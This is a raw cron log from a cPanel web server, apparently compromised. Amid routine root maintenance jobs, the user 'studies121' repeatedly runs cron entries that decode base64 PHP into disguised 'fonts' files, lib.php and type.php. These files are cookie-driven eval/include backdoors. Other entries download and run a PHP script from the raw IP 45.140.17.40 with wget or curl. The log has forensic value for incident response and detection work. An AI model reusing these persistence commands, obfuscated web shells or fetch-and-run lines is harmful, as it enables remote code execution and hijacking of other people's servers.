Sep 20 03:50:01 ip-184-168-122-23 CROND[8187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:50:01 ip-184-168-122-23 CROND[8191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:50:01 ip-184-168-122-23 CROND[8190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 03:50:01 ip-184-168-122-23 CROND[8192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:50:01 ip-184-168-122-23 CROND[8193]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 03:50:01 ip-184-168-122-23 CROND[8195]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 03:50:01 ip-184-168-122-23 CROND[8198]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 03:50:01 ip-184-168-122-23 CROND[8196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:51:01 ip-184-168-122-23 CROND[8449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:51:01 ip-184-168-122-23 CROND[8452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:51:01 ip-184-168-122-23 CROND[8451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:51:01 ip-184-168-122-23 CROND[8453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:52:01 ip-184-168-122-23 CROND[8727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:52:01 ip-184-168-122-23 CROND[8728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:52:01 ip-184-168-122-23 CROND[8730]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 03:52:01 ip-184-168-122-23 CROND[8729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:52:01 ip-184-168-122-23 CROND[8731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:53:01 ip-184-168-122-23 CROND[9048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:53:01 ip-184-168-122-23 CROND[9051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:53:01 ip-184-168-122-23 CROND[9052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:53:01 ip-184-168-122-23 CROND[9050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:54:01 ip-184-168-122-23 CROND[9316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:54:01 ip-184-168-122-23 CROND[9317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:54:01 ip-184-168-122-23 CROND[9319]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 03:54:01 ip-184-168-122-23 CROND[9318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:54:01 ip-184-168-122-23 CROND[9322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:54:01 ip-184-168-122-23 CROND[9321]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep 20 03:55:01 ip-184-168-122-23 CROND[9550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:55:01 ip-184-168-122-23 CROND[9552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:55:01 ip-184-168-122-23 CROND[9553]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 03:55:01 ip-184-168-122-23 CROND[9551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:55:01 ip-184-168-122-23 CROND[9554]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 03:55:01 ip-184-168-122-23 CROND[9555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:56:01 ip-184-168-122-23 CROND[9804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:56:01 ip-184-168-122-23 CROND[9807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:56:01 ip-184-168-122-23 CROND[9810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:56:01 ip-184-168-122-23 CROND[9811]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 03:56:01 ip-184-168-122-23 CROND[9812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:57:01 ip-184-168-122-23 CROND[10061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:57:01 ip-184-168-122-23 CROND[10063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:57:01 ip-184-168-122-23 CROND[10062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:57:01 ip-184-168-122-23 CROND[10060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:58:01 ip-184-168-122-23 CROND[10377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 03:58:01 ip-184-168-122-23 CROND[10379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:58:01 ip-184-168-122-23 CROND[10381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:58:01 ip-184-168-122-23 CROND[10382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:58:01 ip-184-168-122-23 CROND[10380]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 03:59:01 ip-184-168-122-23 CROND[10641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 03:59:01 ip-184-168-122-23 CROND[10642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 03:59:01 ip-184-168-122-23 CROND[10643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 03:59:01 ip-184-168-122-23 CROND[10644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:00:01 ip-184-168-122-23 CROND[10893]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 04:00:01 ip-184-168-122-23 CROND[10894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:00:01 ip-184-168-122-23 CROND[10899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:00:01 ip-184-168-122-23 CROND[10901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:00:01 ip-184-168-122-23 CROND[10902]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 20 04:00:01 ip-184-168-122-23 CROND[10904]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 04:00:01 ip-184-168-122-23 CROND[10905]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:00:01 ip-184-168-122-23 CROND[10906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:00:01 ip-184-168-122-23 CROND[10909]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 04:01:01 ip-184-168-122-23 CROND[11149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:01:02 ip-184-168-122-23 CROND[11150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:01:02 ip-184-168-122-23 CROND[11152]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 04:01:02 ip-184-168-122-23 CROND[11155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:01:02 ip-184-168-122-23 CROND[11153]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 04:01:02 ip-184-168-122-23 CROND[11156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11153]: starting 0anacron
Sep 20 04:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11172]: finished 0anacron
Sep 20 04:02:01 ip-184-168-122-23 CROND[11390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:02:01 ip-184-168-122-23 CROND[11392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
